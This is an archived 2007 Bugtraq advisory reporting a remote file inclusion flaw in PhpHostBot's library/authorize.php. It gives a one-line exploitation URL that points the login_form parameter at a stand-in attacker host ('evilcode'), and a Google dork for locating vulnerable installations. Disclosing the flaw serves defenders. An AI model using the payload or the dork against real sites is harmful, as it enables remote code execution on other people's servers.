bugtraq - SolpotCrew Advisory #14 (S4M3K) - PhpHostBot (login

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 26 Jul 2007 04:46:36 -0000
From: s4m3k@...teng.la
To: bugtraq@...urityfocus.com
Subject: SolpotCrew Advisory #14 (S4M3K) - PhpHostBot (login_form) Remote
 File Inclusion

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+
+ PhpHostBot (login_form) Remote File Inclusion
+
+ Download link : http://www.idevspot.com/PhpHostBot.php
+
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+
+
+ Bug Found By :S4M3K (24-07-2007)
+
+ contact: x_spy@....com
+
+ Website : http://www.m3ks.org/adv/m3ks-adv-24.7.07.txt
+
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+
+
+ Greetz: Scr3W_W0rM, Nyubi, Home_edition2001, Dj-RuFfy, TOMMY_PENGAMEN, th0nk,
+ iFX, Cookie, VanDaMe, Dead 
+ & All member on #nyubicrew @irc.mildnet.org
+
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+
+ Exploitation:
+
+ http://[target]/[path]/library/authorize.php?login_form=http://evilcode?
+
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+
+
+ google dork : "PhpHostBot" ; inurl:"PhpHostBot"
+
+
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++